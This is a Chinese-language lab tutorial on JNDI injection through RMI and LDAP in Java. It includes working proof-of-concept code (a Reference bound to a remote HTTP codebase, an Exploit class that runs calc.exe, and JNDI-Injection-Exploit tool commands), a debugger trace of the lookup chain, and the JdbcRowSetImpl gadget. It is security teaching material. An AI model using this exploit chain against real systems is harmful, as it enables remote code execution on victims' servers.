基础概念
什么是JNDI?
JNDI 提供统⼀的客户端 API,通过不同的服务供应接⼝(SPI)的实现使得 JAVA 应⽤程可以通过 JNDI 实现和这些命名服务和⽬录服务之间的交互。
服务供应接⼝作用:主要作⽤是为底层的具体⽬录服务提供统⼀接⼝,从⽽实现⽬录服务的可插拔式安装。
JDK中包含的SPI:LDAP、DNS、NIS、NDS、RMI、CORBA
RMI介绍
在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过References类来绑定⼀个外部的远程对象(当前名称⽬录系统之外的对象)。
效果其实就相当于是客户端将服务端的代码拉到本地执行
JNDI注入之rmi注入
JDK安全机制
⾼版本JDK在RMI和LDAP的 trustURLCodebase 都做了限制,从默认允许远程加载ObjectFactory变成了不允许。RMI是在6u132, 7u122, 8u113版本开始做了限制,LDAP是 11.0.1, 8u191, 7u201, 6u211版本开始做了限制。
所以要用以下代码解除限制。
java
//解除高版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
RMI利用代码示例
涉及到三个主体 client Registry 和server
Registry 和server可以是同一台服务器 所以把他俩代码写到一起
client代码如下:
向Registry发送请求获取远程对象
java
public class Client {
public static void main(String[] args) throws NamingException, SQLException {
//解除高版本jdk安全限制
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String uri = "rmi://127.0.0.1:1099/EvalObj";
InitialContext ctx = new InitialContext();
ctx.lookup(uri);
}
}
server代码如下:
起一个端口1099的注册表,把/EvalObj这个路径绑定到⼀个Reference上,注册了远程对象,这样当client本地没有Exploit类时就会去访问http://127.0.0.1:1002/加载远程对象。
java
public class Server {
public static void main(String args[]) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference refObj = new Reference("Exploit", "Exploit", "http://127.0.0.1:1002/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
System.out.println("Binding 'refObjWrapper' to 'rmi://0.0.0.0:1099/EvalObj'");
registry.bind("EvalObj", refObjWrapper);
}
}
还需要一个在clinet本地不存在的类Exploit
这个类内容其实就是个简单的命令执行 执行calc.exe命令。
java
public class Exploit {
public Exploit() {
try{
// 要执行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
}
将Exploit类放入一个文件夹中
注意!!!!Exploit不要出现包的路径
开始利用:
1.将Exploit.java编译
注意编译的jdk版本别太高 因为jdk只向下版本兼容嘛 所以如何编译的jdk版本太高 client可能没办法拉取到本地执行。
2.进⼊Exploit.class所在的⽬录,并使⽤python 搭建http服务并监听1002
java
python -m http.server --bind 0.0.0.0 1002

3.先运行server代码 模拟Server 向 Registry 注册远程对象

4.最后 运行client 模拟Client 从 Registry 获取远程对象的代理并通过这个代理调⽤远程对象的⽅法。
成功执行命令弹出计算器

工具的使用
这样又起注册表服务又起服务端远程代码太麻烦了,并且Registry 和server可以是同一台服务器,所以可以使用工具一个命令把这两件事都做了。
java
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1 -C calc
-A后面是运行的地址 -C是待执行的命令
会有不同条件下的不同url

复制url到client代码 运行
成功执行命令 弹出计算器

漏洞分析
开始调试分析
1.强制步入lookup()函数

2.步入InitialContext文件的getURLOrDefaultInitCtx的lookup()函数

3.步入var3.lookup()

4.步入decodeObject()

在decodeObject中,会判断传⼊对象是满⾜RemoteReference接⼝,满⾜则通过getReference函数获取reference对象

5.步入getObjectInstance()

6.步入getObjectFactoryFromReference()

在getObjectFactoryFromReference 中先判断本地是否存在对应类,如果不存在就加载远程类
newInstance()会实例化远程类,所以这⾥恶意对象的⽆参构造⽅法会被执⾏

整体的利用链如下:

JdbcRowSetImpl利⽤链
在实战过程中,context.lookup直接被外部调⽤的情况⽐较少,但是我们可以通过间接调⽤context.lookup实现JNDI的注⼊。
代码示例:
java
//JdbcRowSetImpl利⽤链
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName(uri);
j.setAutoCommit(true);
同样可以达到rmi的效果

调试分析:
1.加断点

2.强制步入setAutoCommit()

3.步入connect()
到这儿就能清晰了 本质上还是InitialContext调用lookup()函数
后面的部分就和前面rmi的分析一模一样了

JNDI注入之LDAP
理解了rmi的话ldap其实是一样的。因为JNDI还可以对接LDAP服务,且LDAP也能返回Reference对象,因此攻击者可以控制LDAP服务端返回⼀个恶意的JNDI Reference对象从⽽完成攻击。
工具也提供了ldap利用的url
直接复制利用


【重要声明】
本文内容仅用于技术交流与学习,严禁用于任何非法用途。所有操作必须严格遵守《中华人民共和国网络安全法》及相关法律法规,仅在获得明确授权的前提下进行。读者应自行承担操作风险,作者不对任何违规使用或由此引发的法律后果负责。